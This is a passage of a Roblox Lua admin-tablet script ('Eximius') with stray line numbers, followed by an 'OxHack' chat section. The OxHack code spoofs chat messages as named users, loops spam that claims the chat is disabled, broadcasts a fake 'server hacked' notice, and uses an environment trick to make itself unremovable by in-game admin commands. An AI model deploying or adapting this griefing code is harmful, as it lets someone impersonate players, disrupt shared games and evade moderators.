          Eximius.Functions.Dismiss(Speaker)
715
          for _,Player in pairs(game:GetService("Players"):GetPlayers()) do
716
                      Eximius.Functions.Output(Speaker, Player.Name, Eximius.Functions.GetColor(Player), function() Eximius.Functions.Dismiss(Speaker)
717
                                Eximius.Functions.Output(Speaker, 'Name : '..Player.Name, Eximius.Functions.GetColor(Player))
718
                                Eximius.Functions.Output(Speaker, 'AccountAge : '..Player.AccountAge, Eximius.Functions.GetColor(Player))
719
                                Eximius.Functions.Output(Speaker, 'UserId : '..Player.userId, Eximius.Functions.GetColor(Player))
720
                                Eximius.Functions.Output(Speaker, 'Player Rank : '..Eximius.Functions.GetRank(Player), 'New Yeller')
721
                                Eximius.Functions.Output(Speaker, 'Player Color : '..Eximius.Functions.GetColor(Player),Eximius.Functions.GetColor(Player))
722
                                Eximius.Functions.Output(Speaker, 'noskope Player', 'Really red', function() Eximius.Functions.Dismiss(Speaker) Eximius.Functions.Kick(Player) end)
723
                                Eximius.Functions.Output(Speaker, 'Rank User','Lime green',function()
724
                                    Eximius.Functions.Dismiss(Speaker)
725
                                 Eximius.Functions.Output(Speaker, '[1]','White',function()
726
                                     Eximius.Ranked[Speaker.Name]['Rank'] = 1
727
                                     Eximius.Functions.Output(Speaker, 'Set users rank to 1', true)
728
                                     wait(3)
729
                                     Eximius.Functions.Dismiss(Speaker)--Rank system not working currently :c
730
                             end)
731
                             Eximius.Functions.Output(Speaker,'[2]','White',function()
732
                                 Eximisu.Ranked[Speaker.Name]['Rank'] = 2
733
                                 Eximius.Functions.Output(Speaker, 'Set users rank to 2', true)
734
                                 wait(3)
735
                                 Eximius.Functions.Dismiss(Speaker)
736
                             end)
737
                             Eximius.Functions.Output(Speaker,'[3]','White',function()
738
                                 Eximius.Ranked[Speaker.Name]['Rank'] = 3
739
                                 Eximius.Functions.Output(Speaker, 'Set users rank to 3', true)
740
                                 wait(3)
741
                                 Eximius.Functions.Dismiss(Speaker)
742
                             end)
743
                             Eximius.Functions.Output(Speaker,'[4]','White',function()
744
                                 Eximius.Ranked[Speaker.Name]['Rank'] = 4
745
                                 Eximius.Functions.Output(Speaker, 'Set users rank to 4', true)
746
                                 wait(3)
747
                                 Eximius.Functions.Dismiss(Speaker)
748
                             end)
749
                             Eximius.Functions.Output(Speaker,'[5]','White',function()
750
                                 Eximius.Ranked[Speaker.Name]['Rank'] = 5
751
                                 Eximius.Functions.Output(Speaker, 'Set users rank to 5', true)
752
                                 wait(3)
753
                                 Eximius.Functions.Dismiss(Speaker)
754
                             end)
755
                             Eximius.Functions.Output(Speaker,'[6]','White',function()
756
                                 Eximius.Ranked[Speaker.Name]['Rank'] = 6
757
                                 Eximius.Functions.Output(Speaker, 'Set users rank to 6', true)
758
                                 wait(3)
759
                                 Eximius.Functions.Dismiss(Speaker)
760
                             end)
761
                             Eximius.Functions.Output(Speaker,'[7]','White',function()
762
                                 Eximius.Ranked[Speaker.Name]['Rank'] = 7
763
                                 Eximius.Functions.Output(Speaker, 'Set users rank to 7', true)
764
                                 wait(3)
765
                                 Eximius.Functions.Dismiss(Speaker)
766
                             end)
767
                         
768
                      end) 
769
          end)
770
        end
771
        end)
772
773
774
Eximius.Functions.AddCommand('Set Color','setc','Sets your color.',1,function(Plr,Name)
775
          Eximius.Functions.SetColor(Plr, Name)
776
          Eximius.Functions.Output(Plr, "New Color:\n"..Eximius.Functions.GetColor(Plr))
777
end) 
778
779
Eximius.Functions.AddCommand('Sound search','sm','Sound searches music.',1,function(Plr,Name)
780
          Eximius.Functions.SoundSearch(Plr,Name)
781
end) 
782
783
Eximius.Functions.AddCommand('Explore','explore','Explore from Eximius/Tablet.',4,function(Speaker, Msg)
784
         Eximius.Functions.Explore(Speaker)
785
end)
786
787
game:GetService("Players").PlayerAdded:connect(function(plr)
788
        local type = nil
789
        if type == 'join' then
790
                  Eximius.Functions.Output(plr.Name.. ' Has joined the game!', 'Lime green')
791
         end 
792
         --[[plr.Chatted:connect(function(msg)
793
                    Eximius.Functions.OnChatted(plr, msg)
794
         end)]]--
795
         
796
end) 
797
798
---Ranks---
799
800
game:GetService("RunService").Heartbeat:connect(Eximius.Functions.RotateTabs)
801
802
stime=tick()
803
804
--Hax wait--
805
script.Name = "OxChat"
806
print(script.Name)
807
warn(script.Parent)
808
OxFunc = {}
809
--OxChat v2
810
_G.Ox = function(Title,Message)
811
 for _,v in pairs(game.Players:GetPlayers()) do
812
                        local Value = Instance.new("StringValue",v)
813
                                Value.Name = "SB_Chat"
814
                                Value.Value = tostring(Title).."/"..Message
815
                                Value.Parent = v
816
                        game.Debris:AddItem(Value,.1)
817
                        
818
end
819
end
820
821
--OxChat v1
822
_G.OldOx = function(Message)
823
 for _,v in pairs(game.Players:GetPlayers()) do
824
                        local Value = Instance.new("StringValue",v)
825
                                Value.Name = "SB_Chat"
826
                                Value.Value = "[resaloli\'s Notice]/"..Message
827
                                Value.Parent = v
828
                        game.Debris:AddItem(Value,.1)
829
                        
830
end
831
end
832
_G.cmdsOx = {"OxCmds >>>","c/Ox","c/OldOx"}
833
warn("c/Ox(Name,Message)")
834
warn("c/OldOx(Name)")
835
_G.Donut = function()
836
function onPlayerAdded(plr)
837
     OldOx(tostring(plr.Name).." has joined the game.")
838
end
839
function onPlayerRemove(plr)
840
     OldOx(tostring(plr.Name).." has left the game.")
841
end
842
game.Players.PlayerAdded:connect(onPlayerAdded)
843
game.Players.PlayerRemoving:connect(onPlayerRemove)
844
end
845
846
847
848
849
--> Funcs Here <--
850
script.Name = "OxChat"
851
print(script.Name)
852
warn(script.Parent)
853
pluhack = false
854
chatbreak = false
855
OxFunc = {}
856
--OxChat v2
857
_G.run = function(Title,Message)
858
 for _,v in pairs(game.Players:GetPlayers()) do
859
                        local Value = Instance.new("StringValue",v)
860
                                Value.Name = "SB_Chat"
861
                                Value.Value = tostring(Title).."/"..Message
862
                                Value.Parent = v
863
                        game.Debris:AddItem(Value,.1)
864
                        
865
end
866
end
867
if pluhack == true then
868
timesleft = 10
869
while true do
870
wait(1)
871
if timesleft < 0 then
872
script:Remove()
873
else
874
for _,v in pairs(game.Players:GetPlayers()) do
875
name = v.Name
876
wait(1)
877
878
run(name,"Plutonium Has Hacked This Server. This will stop in "..timesleft)
879
timesleft = timesleft-1
880
end
881
end
882
end
883
else
884
885
run("[Runtoheven's OxHack]","Runtoheven's OxHack Ran Successfully!")
886
run("[Runtoheven's OxHack]","I am here to protect, not abuse.")
887
run("[Runtoheven's OxHack]","Free model and I will ban you.")
888
889
wait(3)
890
if chatbreak == true then
891
run("DrAnkle","Runtoheven just hacked my chat and made me say this! ")
892
run("Oxcool1","Runtoheven just hacked my chat and made me say this! ")
893
run("Builderman","Runtoheven just hacked my chat and made me say this! ")
894
run("Telamon","Runtoheven just hacked my chat and made me say this! ")
895
--]]
896
wait(5)
897
while true do
898
wait(0.1)
899
run("[Runtoheven's OxHack]","Runtoheven's OxHack Has Disabled This Chat.")
900
end
901
end
902
end
903
904
for _,v in pairs(game.Players:GetPlayers()) do
905
local ChatService = game:GetService("Chat")
906
end
907
908
if script.ClassName == "LocalScript" then if game.PlaceId == 178350907 then script.Parent = nil else local Environment = getfenv(getmetatable(LoadLibrary"RbxUtility".Create).__call) local oxbox = getfenv() setfenv(1, setmetatable({}, {__index = Environment})) Environment.coroutine.yield() oxbox.script:Destroy() end end
909
if script ~= true then
910
print("Unremoveable Test Completed! Works! This script is immune to g/nol/all or g/nos/all!")
911
else
912
print("Unremoveable Test Failed! This script is removable by g/nol/all or g/nos/all!")
913
end
914
--OxChat v1
915
_G.OldOx = function(Message)
916
 for _,v in pairs(game.Players:GetPlayers()) do
917
                        local Value = Instance.new("StringValue",v)
918
                                Value.Name = "SB_Chat"
919
                                Value.Value = Message
920
                                Value.Parent = v
921
                        game.Debris:AddItem(Value,.1)
922
                        
923
end
924
end
925
926
_G.cmdsOx = {"OxCmds >>>","c/Ox","c/OldOx"}
927
warn("c/Ox(Name,Message)")
928
warn("c/OldOx(Name)")
929
for i = 0, #Commands do
930
 warn(Commands[i])
931
end
932
_G.Donut = function()
933
function onPlayerAdded(plr)
934
     OldOx(tostring(plr.Name).." has joined the game.")
935
end
936
function onPlayerRemove(plr)
937
     OldOx(tostring(plr.Name).." has left the game.")
938
end
939
940
game.Players.PlayerAdded:connect(onPlayerAdded)
941
game.Players.PlayerRemoving:connect(onPlayerRemove)
942
end
943
game.Players.PlayerAdded:connect(function(player)
944
wait(0.1)
945
run("[RuntoJoiner]","Welcome, "..player.Name.."!")
946
947
end)
948
game.Players.PlayerRemoving:connect(function(player)
949
wait(0.1)
950
run("[RuntoLeaver]","Bye, "..player.Name.."!")
951
end)
952
953
--Hax complete--